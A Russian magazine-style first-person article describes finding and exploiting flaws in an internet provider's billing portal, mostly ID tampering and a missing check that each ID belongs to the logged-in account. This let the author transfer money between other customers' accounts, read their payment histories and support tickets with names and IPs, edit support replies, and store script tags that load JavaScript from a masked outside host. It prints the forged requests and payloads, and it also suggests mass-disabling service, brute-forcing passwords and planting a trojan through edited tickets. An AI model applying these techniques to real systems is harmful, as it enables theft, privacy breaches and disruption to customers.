Эта история взлома была бы ничем не примечательна, если бы не одно «но». Жервой глупейших ошибок программистов стал довольно крупный провайдер. Элементарные уязвимости в личном кабинете пользователя позволяли манипулировать денежными средствами на счете любого из клиентов. Такое Увы, и такое бывает.

 

Введение

История началась очень странно. На календаре было 31 декабря, а на ноутбуке — дисконнект. Средства на счете закончились, и было совершенно непонятно, что дальше делать всю ночь без интернета (в новогоднюю-то ночь? — прим. редакции)? На счете Webmoney не было достаточно денег, чтобы полностью оплатить абонентскую плату, поэтому я уже готов был идти к ближайшему терминалу оплаты. Зайдя в личный кабинет, чтобы уточнить стоимость абонентки, я обратил внимание на неактивные html-переключатели, расположенные на странице перевода средств. Похоже, Дед Мороз все-таки существует :).

 

Warning!

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

 

Быть или не быть?

Дальше я полез в исходный код страницы с помощью браузера Opera и убрал у соответствующих переключателей параметр «disabled» (когда баланс равен нулю или отрицательный, то данный переключатель неактивен). После этого нехитрого действия я применил изменения и попробовал перевести все средства с третьего счета на первый – основной:

До

    *****09 :   15р | Основной счет  
    *****61 :  -71р | Интернет  
    *****60 :  -100р| Телевидение 

После

    *****09 : -85р | Основной счет
    *****61 : -71р | Интернет
    *****60 :  0р  | Телевидение

Как ни странно, данная операция прошла успешно. Epic fail. Интернет, впрочем, у меня от этого не появился, поэтому я снова обратился к html-исходнику страницы своего личного кабинета. Изучив его более подробно, я заметил следующие input-префиксы: «m_from» и «m_to». Все указывало на то, что это были идентификаторы счетов в БД! Здесь возник резонный вопрос: отслеживает ли сервер подмену ID? Недолго думая, я стал проверять свою догадку: изменил две последние цифры в поле «m_from», применил изменения, выбрал нужные счета и нажал на кнопку «Оплата». Запрос с измененным ID ушел на сервер. Ответ не заставил себя ждать, — показалась форма с предложением перевода средств. Бинго! Номер счета, откуда будут переведены средства, не совпадал с моим номером, а в поле «Укажите сумму» была указана сумма, равная количеству средств на счете, с которого осуществлялся перевод. Как ты помнишь, на моем счете в тот момент было -85 рублей, а форма предлагала мне перевести все 290! Указав немногим меньшую сумму (для незаметности), я нажал «Перевести», — и операция завершилась успехом. Значит, уязвимость есть, сервер не проверяет ID на привязанность к аккаунту. Программисты, браво! Вернув деньги обратно, я решил углубиться в поиски других багов. Тут сразу стоит отметить, что все эти эксперименты могли серьезно испортить мне жизнь, — повезло, что провайдер решил не обращаться с заявлением о моих действиях в правоохранительные органы. В такой ситуации оправдаться у меня уже не получилось бы.

Страница перевода средств
Страница перевода средств
 

Учет операций

Итак, предыдущая находка меня очень обрадовала. Теперь осталось узнать, насколько видны мои действия второму лицу. Ведь у каждого уважающего себя провайдера есть такая вещь как статистика/история платежей, предназначенная для того, чтобы следить за передвижением средств на счетах. Перейдя к истории платежей, я снова открыл исходный код страницы. Немного полистав его, я сразу заметил тот же самый способ работы с ID. Для его передачи серверу использовалась строка следующего вида:

<input type=button value='Показать'
  name=show\_orders\_list onClick='showPay(this.form, ***39)'>

Здесь я снова изменил ID и немедленно нажал «Показать», — опять успех: я увидел все операции со средствами на чужом ID! Но там был и мой след. Значит, все мои действия с деньгами были заметны второму лицу. Однако все равно здесь не было видно, куда и почему они были переведены, — таблица представляла из себя три столбца: «Дата», «Сумма (руб.)» и «Номер учетного документа».

Первый баг с переводом средств
Первый баг с переводом средств
 

Больше, больше крови!

Ладно, с этим все ясно, но что можно сделать еще? На глаза попалась кнопка «Запрет доступа», отключающая все предоставляемые провайдером услуги. Работала она также с ID и JS. Конечно, увидеть работоспособность этой вещи я не мог. Или же можно было написать скрипт, который прошелся бы по списку ID и отключил всем пользователям интернет/телевидение/телефон – даешь хлеба и зрелищ :). Однако одним запретом доступа я ограничиваться не захотел и попытался разобраться во всем этом на более глубоком уровне.

Итак, вернувшись к операциям над средствами, я запустил прогу Charles (charlesproxy.com — замечательный снифер, дебаггер и прокси-сервер в одной упаковке). Но данные шифровались, и ничего толкового я не увидел. Тогда я запустил IE с плагином ieHTTPHeaders, перешел в личный кабинет и произвел уже знакомую тебе транзакцию средств с одного счета на другой. ieHTTPHeaders показал следующий запрос:

POST /client.php
xjxfun=changeChack&xjxargs[]=***18&xjxargs[]=***39&xjxargs[]=120.0

Здесь ключи массива такие: 1 — с какого счета, 2 – на какой счет, 3 – сколько денег переводить. Далее я решил попробовать сформировать аналогичный предыдущему GET-запрос и перешел по сформированной ссылке. Все снова работало, средства переводились. Я думаю, теперь ты понимаешь, что можно было натворить при помощи базовых знаний JS и больной фантазии? К слову, тут мне вспомнился фильм }{0ТТ@БЬ)Ч: «- А сколько качать-то? — Че ты тупые вопросы задаешь? Миллион качай!».

Тикеты службы поддержки
Тикеты службы поддержки
 

Что-то еще?

Далее я подумал, что можно копнуть еще глубже. В самом начале каждого из html-исходников была такая строка: js/func.js. Хорошо, формирую ссылку, перехожу по ней и вижу реализацию функций операций на сайте. Самой нужной мне вещью оказалась функция saveNewPass() — она работала по той же схеме ID+JS. Как ясно из названия, предназначена эта функция для смены пароля пользователя. Все, что нам надо, — код, который бы осуществлял простейший перебор по словарю и менял его при условии нахождения верной комбинации. Какова вероятность того, что все пользователи изменили стандартные пароли (обычно состоящие всего из нескольких цифр)? Кстати, тут не было даже банальной капчи или блокировки по IP при множественных ошибочных авторизациях и других запросах! Да и авторизация тоже хромала — основана она на методе Basic Authentication. Мне хватило всего пары минут, чтобы накидать программу для брутфорса. Благо, все дороги были открыты, а доступ в личный кабинет осуществлялся по локальной сети, то есть интернет не был нужен, и все могло произойти очень и очень быстро...

История перевода средств
История перевода средств

Впоследствии я рассказал об обнаруженной уязвимости IT-отделу провайдера, так что она была довольно быстро исправлена. Ошибку объяснили тем, что «все работало через хитрую схему, поэтому так глупо и вышло» :).

 

Новые баги

Проходит день, неделя, месяц, и у меня появляется желание проверить что-нибудь еще в личном кабинете. Я открыл страницу просмотра статистики, изменил ID, отправил запрос. В итоге на моем экране вновь отобразилась чужая статистика. Оказалось, что после прошлого исправления корректно стало работать только тот раздел личного кабинета, где осуществлялся перевод средств, а все остальное так и осталось по-прежнему. Я не захотел ковыряться дальше со старыми багами, поэтому попробовал найти еще места, где использовался столь оригинальный метод работы с конфиденциальными данными пользователей. Тут стоит заметить, что меня уже давно интересовал раздел «Электронные заявления». Зайдя туда, я создал бессмысленный вопрос: «Почему e-mail не привязывается к учетной записи?». Страница с вопросом содержала довольно интересную информацию: ФИО + IP. Также присутствовала возможность правки сообщения, а вот кнопка удаления не работала. В исходном коде нашлась такая строка:

<a href="JavaScript: edit\_post(***01, ***1)"
class=z11><font class=z11>Редактировать</font></a>

Я поправил значения, вычтя из каждого по 3, применил изменения, нажал «Редактировать» и увидел страницу с тикетом другого пользователя! Изменив его, я попробовал сохранить вопрос, — операция завершилась успехом. После, еще раз изменив значение, я попал уже на ответ техподдержки. Поправил, сохранил, — все получилось. Значит, я могу править сообщения любого юзера! Осталось лишь найти остальные функции для работы с заявками. Снова немного покопавшись в исходном коде страницы, я отыскал строку следующего вида:

<script language='JavaScript' src='js/hd.js'></script>

Собственно, в файле js/hd.js и лежали функции для работы с заявлениями. Я решил использовать функцию showTiket(n). Поправив код и указав произвольный номер заявления, я применил изменения и нажал на кнопку «Редактировать». Открылась страница, на которой был запрос пользователя, а также ответы от техподдержки. Вроде бы ничего такого, но я увидел их ФИО и IP! Кстати, злоумышленник в такой ситуации мог бы подождать ответа техподдержки любому пользователю, а после отредактировать сообщение, например, так: «Скачайте (...) для устранения проблемы, но антивирус может ругаться на данное приложение, так что отключите его на время». Вуаля! Троян залит, да еще и от лица провайдера.

 

А как же XSS?

Хорошо, я нашел способы редактирования, удаления, просмотра и отправки тикетов. Идем дальше. Вернувшись в личный кабинет, я решил поискать XSS. Потратив достаточно времени на поиски, я не нашел уязвимых мест (так мне тогда казалось). Однако дальше, взглянув на раздел под названием «Контактная информация», я увидел, что у каждого из трех полей («e-mail», «Телефоны» и «Телефон для SMS-уведомлений») есть кнопка для редактирования. Телефоны, это понятно, должны иметь очевидную фильтрацию цифра/не цифра, но вот поле «e-mail» вполне может содержать в себе баг. Я попробовал протолкнуть простой код:

<script src="http://***/o.js" type="text/javascript" ></script>

Естественно, все это дело спровоцировало ошибку «Введен некорректный e-mail». Хорошо, возвращаюсь к IE и смотрю, что мне говорит «ieHTTPHeaders»:

POST /client.php HTTP/1.1
...
xjxfun=saveEmail&xjxr=1328363403426&xjxargs[]=TEST
xjxfun=saveTel&xjxr=1328363361153&xjxargs[]=000000000000
xjxfun=saveSMSTel&xjxr=1328363389834&xjxargs[]=000000000000

Открываю переменную xjxr, составляю GET-запрос, выполняю его и проверяю — все работает, значения сохраняются. Теперь немного изменим запрос сохранения e-mail'а:

 /client.php?xjxfun=saveEmail&xjxargs[]=
<script src="http://***/o.js" type="text/javascript" ></script>

В o.js находится обычный alert("XSS");. Выполняю — успех! Мой ядовитый текст успешно был сохранен. Далее я решил обновить главную страницу личного кабинета и сразу же увидел выскочивший alert. Что может быть лучше активной XSS на главной странице личного кабинета любимого провайдера? Однако этого мне было мало, необходимо добить еще два поля. Вот что я сделал:

/client.php?xjxfun=saveTel&xjxargs[]=000000000000
<script src="http://***/o.js" type="text/javascript" ></script>

/client.php?xjxfun=saveSMSTel&xjxargs[]=000000000000
<script src="http://***/o.js" type="text/javascript" ></script>

Снова все успешно! Видимо, разработчики не рассчитывали на то, что кто-то допишет их код. Здесь следует учесть, что максимальная длина кода, который возвращался на странице, составляла 260 символов, так что три уязвимых поля были весьма кстати.

Отображаем произвольные страницы через активную XSS
Отображаем произвольные страницы через активную XSS
 

Подводя итоги

Уже позже от сотрудников IT-отдела я узнал, что некоторые файлы сайта не редактировались с 2008 года. Убогий код с огромным количеством уязвимостей остался как наследие от работавших ранее программистов. Как такой биллинг работал в течение долгого времени, я представляю с трудом. Но теперь еще больше уверен, что детские уязвимости в виде полного отсутствия пользовательского кода встречаются повсеместно, даже если речь идет о серьезных компаниях, которые имеют дело с личными данными пользователей и их денежными средствами. К счастью, текущая команда программистов быстро исправила все ошибки на сайте.

 

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии